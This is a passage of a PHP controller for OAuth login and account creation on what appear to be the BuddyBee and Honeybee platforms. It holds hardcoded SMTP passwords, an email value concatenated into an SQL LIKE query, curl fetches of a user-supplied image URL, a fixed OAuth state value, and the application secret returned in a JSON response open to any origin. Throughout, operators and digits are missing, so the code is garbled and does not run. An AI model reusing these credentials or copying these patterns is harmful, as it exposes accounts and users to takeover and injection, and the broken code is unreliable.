  6645.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6646.                 }
  6647. //        $oAuthEmail = $applicantInfo['email'];
  6648. //        return new JsonResponse(array(
  6649. //          'userEmailcontent'=>$userEmailcontent,
  6650. //          'userGeneralcontent'=>$userGeneralcontent,
  6651. //        ));
  6652. //        return new response($userGeneralcontent);
  6653.                 $oAuthData = [
  6654.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6655.                     'uniqueId' => $userGeneralcontent['id'],
  6656.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6657.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6658.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6659.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6660.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6661.                     'type' => 1,
  6662.                     'token' => $token,
  6663.                 ];
  6664.             }
  6665.         } else if (isset($_GET["code"])) {
  6666.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6667.             if (!isset($token['error'])) {
  6668.                 $google_client->setAccessToken($token['access_token']);
  6669.                 $google_service = new Google_Service_Oauth2($google_client);
  6670.                 $applicantInfo $google_service->userinfo->get();
  6671.                 $oAuthEmail $applicantInfo['email'];
  6672.                 $oAuthData = [
  6673.                     'email' => $applicantInfo['email'],
  6674.                     'uniqueId' => $applicantInfo['id'],
  6675.                     'image' => $applicantInfo['picture'],
  6676.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6677.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6678.                     'firstName' => $applicantInfo['givenName'],
  6679.                     'lastName' => $applicantInfo['familyName'],
  6680.                     'type' => $token['token_type'],
  6681.                     'token' => $token['access_token'],
  6682.                 ];
  6683.             }
  6684.         } else if (isset($_GET["access_token"])) {
  6685.             $token $_GET["access_token"];
  6686.             $tokenType $_GET["token_type"];
  6687.             if (!isset($token['error'])) {
  6688.                 $google_client->setAccessToken($token);
  6689.                 $google_service = new Google_Service_Oauth2($google_client);
  6690.                 $applicantInfo $google_service->userinfo->get();
  6691.                 $oAuthEmail $applicantInfo['email'];
  6692.                 $oAuthData = [
  6693.                     'email' => $applicantInfo['email'],
  6694.                     'uniqueId' => $applicantInfo['id'],
  6695.                     'image' => $applicantInfo['picture'],
  6696.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6697.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6698.                     'firstName' => $applicantInfo['givenName'],
  6699.                     'lastName' => $applicantInfo['familyName'],
  6700.                     'type' => $tokenType,
  6701.                     'token' => $token,
  6702.                 ];
  6703.             }
  6704.         }
  6705.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6706.             $isApplicantExist $applicantRepo->findOneBy([
  6707.                 'email' => $oAuthData['email']
  6708.             ]);
  6709.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6710.                 $isApplicantExist $applicantRepo->findOneBy([
  6711.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6712.                 ]);
  6713.             }
  6714.             if (!$isApplicantExist) {
  6715.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  6716.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  6717.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  6718.                     ->getQuery()
  6719.                     ->getResult();
  6720.                 if (!empty($usersQueried))
  6721.                     $isApplicantExist $usersQueried[0];
  6722.             }
  6723.             if ($isApplicantExist) {
  6724.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6725.                 } else
  6726.                     return $this->redirectToRoute("core_login", [
  6727.                         'id' => $isApplicantExist->getApplicantId(),
  6728.                         'oAuthData' => $oAuthData,
  6729.                         'encData' => $encData,
  6730.                         'locale' => $request->request->get('locale''en'),
  6731.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6732.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6733.                     ]);
  6734.             } else {
  6735.                 $fname $oAuthData['firstName'];
  6736.                 $lname $oAuthData['lastName'];
  6737.                 $img $oAuthData['image'];
  6738.                 $email $oAuthData['email'];
  6739.                 $oAuthEmail $oAuthData['email'];
  6740.                 $userName explode('@'$email)[0];
  6741.                 //now check if same username exists
  6742.                 $username_already_exist 1;
  6743.                 $initial_user_name $userName;
  6744.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6745.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6746.                     $isUsernameExist $applicantRepo->findOneBy([
  6747.                         'username' => $userName
  6748.                     ]);
  6749.                     if ($isUsernameExist) {
  6750.                         $username_already_exist 1;
  6751.                         $userName $initial_user_name '' rand(3009987);
  6752.                     } else {
  6753.                         $username_already_exist 0;
  6754.                     }
  6755.                     $timeoutSafeCount--;
  6756.                 }
  6757.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6758.                     $currentUnixTimeStamp '';
  6759.                     $currentUnixTime = new \DateTime();
  6760.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6761.                     $userName $userName '' $currentUnixTimeStamp;
  6762.                 }
  6763.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6764.                 $charactersLength strlen($characters);
  6765.                 $length 8;
  6766.                 $password 0;
  6767.                 for ($i 0$i $length$i++) {
  6768.                     $password .= $characters[rand(0$charactersLength 1)];
  6769.                 }
  6770.                 $newApplicant = new EntityApplicantDetails();
  6771.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6772.                 $newApplicant->setEmail($email);
  6773.                 $newApplicant->setUserName($userName);
  6774.                 $newApplicant->setFirstname($fname);
  6775.                 $newApplicant->setLastname($lname);
  6776.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6777.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6778.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6779.                 $newApplicant->setAccountStatus(1);
  6780.                 $salt uniqid(mt_rand());
  6781.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6782.                 $newApplicant->setPassword($encodedPassword);
  6783.                 $newApplicant->setSalt($salt);
  6784.                 $newApplicant->setTempPassword($password);;
  6785. //                $newApplicant->setPassword($password);
  6786.                 $marker $userName '-' time();
  6787. //                $extension_here=$uploadedFile->guessExtension();
  6788. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6789. //                $path = $fileName;
  6790.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6791.                 if (!file_exists($upl_dir)) {
  6792.                     mkdir($upl_dir0777true);
  6793.                 }
  6794.                 $ch curl_init($img);
  6795.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6796.                 curl_setopt($chCURLOPT_FILE$fp);
  6797.                 curl_setopt($chCURLOPT_HEADER0);
  6798.                 curl_exec($ch);
  6799.                 curl_close($ch);
  6800.                 fclose($fp);
  6801.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6802. //                $newApplicant->setImage($img);
  6803.                 $newApplicant->setIsConsultant(0);
  6804.                 $newApplicant->setIsTemporaryEntry(0);
  6805.                 $newApplicant->setApplyForConsultant(0);
  6806.                 $em->persist($newApplicant);
  6807.                 $em->flush();
  6808.                 $isApplicantExist $newApplicant;
  6809.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6810.                     if ($systemType == '_BUDDYBEE_') {
  6811.                         $bodyHtml '';
  6812.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6813.                         $bodyData = array(
  6814.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6815.                             'email' => $userName,
  6816.                             'password' => $newApplicant->getPassword(),
  6817.                         );
  6818.                         $attachments = [];
  6819.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6820. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6821.                         $new_mail $this->get('mail_module');
  6822.                         $new_mail->sendMyMail(array(
  6823.                             'senderHash' => '_CUSTOM_',
  6824.                             //                        'senderHash'=>'_CUSTOM_',
  6825.                             'forwardToMailAddress' => $forwardToMailAddress,
  6826.                             'subject' => 'Welcome to BuddyBee ',
  6827. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6828.                             'attachments' => $attachments,
  6829.                             'toAddress' => $forwardToMailAddress,
  6830.                             'fromAddress' => 'registration@buddybee.eu',
  6831.                             'userName' => 'registration@buddybee.eu',
  6832.                             'password' => 'Y41dh8g0112',
  6833.                             'smtpServer' => 'smtp.hostinger.com',
  6834.                             'smtpPort' => 465,
  6835.                             'encryptionMethod' => 'ssl',
  6836. //                            'emailBody' => $bodyHtml,
  6837.                             'mailTemplate' => $bodyTemplate,
  6838.                             'templateData' => $bodyData,
  6839. //                        'embedCompanyImage' => 1,
  6840. //                        'companyId' => $companyId,
  6841. //                        'companyImagePath' => $company_data->getImage()
  6842.                         ));
  6843.                     } else {
  6844.                         $bodyHtml '';
  6845.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6846.                         $bodyData = array(
  6847.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6848.                             'email' => 'APP-' $userName,
  6849.                             'password' => $newApplicant->getPassword(),
  6850.                         );
  6851.                         $attachments = [];
  6852.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6853. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6854.                         $new_mail $this->get('mail_module');
  6855.                         $new_mail->sendMyMail(array(
  6856.                             'senderHash' => '_CUSTOM_',
  6857.                             //                        'senderHash'=>'_CUSTOM_',
  6858.                             'forwardToMailAddress' => $forwardToMailAddress,
  6859.                             'subject' => 'Applicant Registration on Honeybee',
  6860. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6861.                             'attachments' => $attachments,
  6862.                             'toAddress' => $forwardToMailAddress,
  6863.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6864.                             'userName' => 'accounts@ourhoneybee.eu',
  6865.                             'password' => 'Honeybee@0112',
  6866.                             'smtpServer' => 'smtp.hostinger.com',
  6867.                             'smtpPort' => 465,
  6868.                             'encryptionMethod' => 'ssl',
  6869. //                            'emailBody' => $bodyHtml,
  6870.                             'mailTemplate' => $bodyTemplate,
  6871.                             'templateData' => $bodyData,
  6872. //                        'embedCompanyImage' => 1,
  6873. //                        'companyId' => $companyId,
  6874. //                        'companyImagePath' => $company_data->getImage()
  6875.                         ));
  6876.                     }
  6877.                 }
  6878.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6879.                 } else {
  6880.                     return $this->redirectToRoute("core_login", [
  6881.                         'id' => $newApplicant->getApplicantId(),
  6882.                         'oAuthData' => $oAuthData,
  6883.                         'encData' => $encData,
  6884.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6885.                         'locale' => $request->request->get('locale''en'),
  6886.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6887.                     ]);
  6888.                 }
  6889.             }
  6890.         }
  6891.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6892.             if ($isApplicantExist) {
  6893.                 $user $isApplicantExist;
  6894.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6895.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6896.                 $globalId $user->getApplicantId();
  6897.                 $gocList $em
  6898.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6899.                     ->findBy(
  6900.                         array(//                        'active' => 1
  6901.                         )
  6902.                     );
  6903.                 $gocDataList = [];
  6904.                 $gocDataListForLoginWeb = [];
  6905.                 $gocDataListByAppId = [];
  6906.                 foreach ($gocList as $entry) {
  6907.                     $d = array(
  6908.                         'name' => $entry->getName(),
  6909.                         'image' => $entry->getImage(),
  6910.                         'id' => $entry->getId(),
  6911.                         'appId' => $entry->getAppId(),
  6912.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6913.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6914.                         'dbName' => $entry->getDbName(),
  6915.                         'dbUser' => $entry->getDbUser(),
  6916.                         'dbPass' => $entry->getDbPass(),
  6917.                         'dbHost' => $entry->getDbHost(),
  6918.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6919.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6920.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6921.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6922.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6923.                     );
  6924.                     $gocDataList[$entry->getId()] = $d;
  6925.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6926.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6927.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6928.                 }
  6929.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6930.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6931.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6932.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6933.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6934.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6935.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6936.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6937.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6938.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6939.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6940.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6941.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6942.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6943.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6944.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6945.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6946.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6947.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6948.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6949.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6950.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6951.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6952.                     $session->set('userCompanyVibrantList'json_encode([]));
  6953.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6954.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6955.                     $session->set(UserConstants::USER_APP_ID0);
  6956.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6957.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6958.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6959.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6960.                     $session->set(UserConstants::USER_GOC_ID0);
  6961.                     $session->set(UserConstants::USER_DB_NAME'');
  6962.                     $session->set(UserConstants::USER_DB_USER'');
  6963.                     $session->set(UserConstants::USER_DB_PASS'');
  6964.                     $session->set(UserConstants::USER_DB_HOST'');
  6965.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6966.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6967.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6968.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6969.                     $session->set('locale'$request->request->get('locale'''));
  6970.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6971.                     $route_list_array = [];
  6972.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6973.                     $loginID 0;
  6974.                     $loginID MiscActions::addEntityUserLoginLog(
  6975.                         $em,
  6976.                         $session->get(UserConstants::USER_ID),
  6977.                         $session->get(UserConstants::USER_ID),
  6978.                         1,
  6979.                         $request->server->get("REMOTE_ADDR"),
  6980.                         0,
  6981.                         $request->request->get('deviceId'''),
  6982.                         $request->request->get('oAuthToken'''),
  6983.                         $request->request->get('oAuthType'''),
  6984.                         $request->request->get('locale'''),
  6985.                         $request->request->get('firebaseToken''')
  6986.                     );
  6987.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6988.                     $session_data = array(
  6989.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6990.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6991.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6992.                         'oAuthToken' => $session->get('oAuthToken'),
  6993.                         'locale' => $session->get('locale'),
  6994.                         'firebaseToken' => $session->get('firebaseToken'),
  6995.                         'token' => $session->get('token'),
  6996.                         'firstLogin' => 0,
  6997.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6998.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6999.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7000.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7001.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7002.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7003.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7004.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7005.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7006.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7007.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7008.                         'oAuthImage' => $session->get('oAuthImage'),
  7009.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7010.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7011.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7012.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7013.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7014.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7015.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7016.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7017.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7018.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7019.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7020.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7021.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7022.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7023.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7024.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7025.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7026.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7027.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7028.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7029.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7030.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7031.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7032.                         //new
  7033.                         'appIdList' => $session->get('appIdList'),
  7034.                         'branchIdList' => $session->get('branchIdList'null),
  7035.                         'branchId' => $session->get('branchId'null),
  7036.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7037.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7038.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7039.                     );
  7040.                     $accessList = [];
  7041. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7042.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7043.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7044.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7045.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7046.                                 $d = array(
  7047.                                     'userType' => $thisUserUserType,
  7048. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7049.                                     'userTypeName' => $userTypeName,
  7050.                                     'globalId' => $globalId,
  7051.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7052.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7053.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7054.                                     'systemType' => '_ERP_',
  7055.                                     'companyId' => 1,
  7056.                                     'appId' => $thisUserAppId,
  7057.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7058.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7059.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7060.                                             array(
  7061.                                                 'globalId' => $globalId,
  7062.                                                 'appId' => $thisUserAppId,
  7063.                                                 'authenticate' => 1,
  7064.                                                 'userType' => $thisUserUserType,
  7065.                                                 'userTypeName' => $userTypeName
  7066.                                             )
  7067.                                         )
  7068.                                     ),
  7069.                                     'userCompanyList' => [
  7070.                                     ]
  7071.                                 );
  7072.                                 $accessList[] = $d;
  7073.                             }
  7074.                         }
  7075.                     }
  7076.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7077.                     $session_data['userAccessList'] = $accessList;
  7078.                     $session->set('userAccessList'json_encode($accessList));
  7079.                     $session_data $this->filterClientSessionData($session_data);
  7080.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7081.                     $session_data $tokenData['sessionData'];
  7082.                     $token $tokenData['token'];
  7083.                     $session->set('token'$token);
  7084.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7085.                         $session->set('remoteVerified'1);
  7086.                         $response = new JsonResponse(array(
  7087.                             'token' => $token,
  7088.                             'uid' => $session->get(UserConstants::USER_ID),
  7089.                             'session' => $session,
  7090.                             'success' => true,
  7091.                             'session_data' => $session_data,
  7092.                         ));
  7093.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7094.                         return $response;
  7095.                     }
  7096.                     if ($request->request->has('referer_path')) {
  7097.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7098.                             return $this->redirect($request->request->get('referer_path'));
  7099.                         }
  7100.                     }
  7101.                     $redirectRoute 'applicant_dashboard';
  7102.                     if ($request->query->has('encData')) {
  7103.                         if ($request->query->get('encData') == '8917922')
  7104.                             $redirectRoute 'apply_for_consultant';
  7105.                     }
  7106.                     return $this->redirectToRoute($redirectRoute);
  7107.                 }
  7108. //                    $response = new JsonResponse(array(
  7109. //                        'token' => $token,
  7110. //                        'uid' => $session->get(UserConstants::USER_ID),
  7111. //                        'session' => $session,
  7112. //
  7113. //                        'success' => true,
  7114. //                        'session_data' => $session_data,
  7115. //
  7116. //                    ));
  7117. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7118. //                    return $response;
  7119. //                    return $this->redirectToRoute("user_login", [
  7120. //                        'id' => $isApplicantExist->getApplicantId(),
  7121. //                        'oAuthData' => $oAuthData,
  7122. //                        'encData' => $encData,
  7123. //                        'locale' => $request->request->get('locale', 'en'),
  7124. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7125. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7126. //                    ]);
  7127.             }
  7128.         }
  7129.         $selector BuddybeeConstant::$selector;
  7130.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7131.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7132.         if ($systemType == '_ERP_') {
  7133.         } else if ($systemType == '_CENTRAL_') {
  7134.             return $this->render(
  7135.                 '@Authentication/pages/views/central_login.html.twig',
  7136.                 [
  7137.                     'page_title' => 'Central Login',
  7138.                     'oAuthLink' => $google_client->createAuthUrl(),
  7139.                     'redirect_url' => $url,
  7140.                     'message' => $message,
  7141.                     'systemType' => $systemType,
  7142.                     'ownServerId' => $ownServerId,
  7143.                     'errorField' => '',
  7144.                     'encData' => $encData,
  7145.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7146.                     'selector' => $selector,
  7147.                 ]
  7148.             );
  7149.         } else if ($systemType == '_BUDDYBEE_') {
  7150.             return $this->render(
  7151.                 '@Authentication/pages/views/applicant_login.html.twig',
  7152.                 [
  7153.                     'page_title' => 'BuddyBee Login',
  7154.                     'oAuthLink' => $google_client->createAuthUrl(),
  7155.                     'redirect_url' => $url,
  7156.                     'message' => $message,
  7157.                     'errorField' => $errorField,
  7158.                     'encData' => $encData,
  7159.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7160.                     'selector' => $selector
  7161.                 ]
  7162.             );
  7163.         }
  7164.         return $this->render(
  7165.             '@Authentication/pages/views/applicant_login.html.twig',
  7166.             [
  7167.                 'page_title' => 'Applicant Registration',
  7168.                 'oAuthLink' => $google_client->createAuthUrl(),
  7169.                 'redirect_url' => $url,
  7170.                 'encData' => $encData,
  7171.                 'message' => $message,
  7172.                 'errorField' => $errorField,
  7173.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7174.                 'selector' => $selector
  7175.             ]
  7176.         );
  7177.     }
  7178.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7179.     {
  7180.         $session $request->getSession();
  7181.         $email $request->getSession()->get('userEmail');
  7182.         $sessionUserId $request->getSession()->get('userId');
  7183.         $oAuthData = [];
  7184. //    $encData='';
  7185.         $em $this->getDoctrine()->getManager('company_group');
  7186.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7187.         $redirectRoute 'dashboard';
  7188.         if ($encData != '') {
  7189.             if ($encData == '8917922')
  7190.                 $redirectRoute 'apply_for_consultant';
  7191.         }
  7192.         if ($request->query->has('encData')) {
  7193.             $encData $request->query->get('encData');
  7194.             if ($encData == '8917922')
  7195.                 $redirectRoute 'apply_for_consultant';
  7196.         }
  7197.         $message '';
  7198.         $errorField '_NONE_';
  7199.         if ($request->query->has('message')) {
  7200.             $message $request->query->get('message');
  7201.         }
  7202.         if ($request->query->has('errorField')) {
  7203.             $errorField $request->query->get('errorField');
  7204.         }
  7205.         if ($request->request->has('oAuthData')) {
  7206.             $oAuthData $request->request->get('oAuthData', []);
  7207.         } else {
  7208.             $oAuthData = [
  7209.                 'email' => $request->request->get('email'''),
  7210.                 'uniqueId' => $request->request->get('uniqueId'''),
  7211.                 'oAuthHash' => '_NONE_',
  7212.                 'image' => $request->request->get('image'''),
  7213.                 'emailVerified' => $request->request->get('emailVerified'''),
  7214.                 'name' => $request->request->get('name'''),
  7215.                 'firstName' => $request->request->get('firstName'''),
  7216.                 'lastName' => $request->request->get('lastName'''),
  7217.                 'type' => 1,
  7218.                 'token' => $request->request->get('oAuthtoken'''),
  7219.             ];
  7220.         }
  7221.         $isApplicantExist null;
  7222.         if ($email) {
  7223.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7224.                 $isApplicantExist $applicantRepo->findOneBy([
  7225.                     'applicantId' => $sessionUserId
  7226.                 ]);
  7227.             } else
